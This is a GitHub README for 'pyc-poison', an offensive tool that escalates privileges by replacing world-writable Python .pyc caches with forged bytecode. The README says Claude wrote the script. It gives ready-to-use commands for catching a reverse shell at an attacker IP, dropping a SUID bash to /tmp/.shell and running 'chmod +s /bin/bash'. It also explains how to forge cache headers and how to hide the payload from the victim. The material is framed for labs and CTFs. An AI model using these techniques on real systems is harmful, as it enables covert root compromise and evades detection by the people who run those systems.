Skip to content

Latest commit

 

History

8 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 
 
 

Repository files navigation

pyc-poison

Automated Python .pyc cache poisoning for privilege escalation.

During one of our weekly Hack The Box sessions we ran into a privilege escalation path based on poisoning Python bytecode caches: a privileged process imports a module whose __pycache__/*.pyc is world-writable, so replacing that cached bytecode gets our code executed as the privileged user.

Rather than patching the .pyc by hand (recompiling, fixing the magic number, syncing the header timestamp/size so Python actually loads the cache), I had Claude build this script to do it automatically.

⚠️ For authorized use only. This is an offensive-security learning tool for CTFs, HTB/THM labs, and systems you own or are explicitly permitted to test. The authors take no responsibility for misuse. Don't use it against anything you don't have permission to touch.

Usage

./pyc_poison.py <target.pyc> <original.py> [options]
Argument Description
<target.pyc> Path to the .pyc in __pycache__ to poison
<original.py> Path to the original .py source file
Option Description
-c, --cmd <command> Command to inject
-i, --ip <ip> Attacker IP for a reverse shell
-p, --port <port> Attacker port (default: 4444)
-s, --suid Drop a SUID bash to /tmp/.shell
-h, --help Show help

Examples

Catch a reverse shell:

# attacker
nc -lvnp 4444

# on target
./pyc_poison.py __pycache__/pyc_mod.cpython-312.pyc pyc_mod.py -i 10.10.14.5 -p 4444

Drop a SUID shell:

./pyc_poison.py __pycache__/pyc_mod.cpython-312.pyc pyc_mod.py -s
# after the module is imported by the privileged process:
/tmp/.shell -p

Run an arbitrary command:

./pyc_poison.py __pycache__/pyc_mod.cpython-312.pyc pyc_mod.py -c 'chmod +s /bin/bash'

How it works

When CPython imports a module, it loads the corresponding __pycache__/<mod>.cpython-XY.pyc without recompiling as long as the cache is still "valid". For the default timestamp-based invalidation, validity is decided purely by the 16-byte header:

Bytes Field Meaning
0-3 Magic number Must match the loading interpreter's version
4-7 Bit field Invalidation mode (timestamp vs. hash-based)
8-11 Source mtime Must match the .py on disk
12-15 Source size Must match the .py on disk

If we can write to the .pyc, we drop our own compiled bytecode and forge those header fields so Python accepts it. The script:

  1. Builds a malicious source that embeds the original .py and appends the payload (see Stealth below).
  2. Compiles it with the correct python3 version automatically.
  3. Validates the target is loadable: checks the magic number matches and that the target uses timestamp-based (not hash-based) invalidation - aborting early if not, so you don't silently poison a cache Python will ignore.
  4. Patches the header's mtime + size to match the original .py currently on disk.
  5. Backs up the original .pyc (once) and swaps in the poisoned one.

The payload fires the next time the privileged process imports the module.

💡 Payload size is unconstrained. The header's size field refers to the source .py, not the .pyc - at import time Python only checks mtime/size against the .py on disk and never inspects the length of the bytecode itself. So your payload can be arbitrarily large; the script just forges those two header fields to match the untouched source. (This is also why no source/bytecode padding is needed.)

Stealth

The poisoned module keeps the full original source, so all of the module's real attributes (functions, classes, constants) still exist - the victim program runs normally, with no AttributeError or traceback. The payload runs in a detached child (fork() + setsid(), stdio redirected away), so it neither blocks the import nor prints anything to the victim's terminal. After you close your shell, the program continues as if nothing happened.


Restoring the target

The original .pyc is backed up next to the target on the first run:

cp __pycache__/pyc_mod.cpython-312.pyc.bak __pycache__/pyc_mod.cpython-312.pyc

(The backup is only written once and never overwritten, so re-running the script won't clobber the clean copy.)

About

Automated Python Cache Poisoning for privilege escalation.

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Used by

Contributors

Languages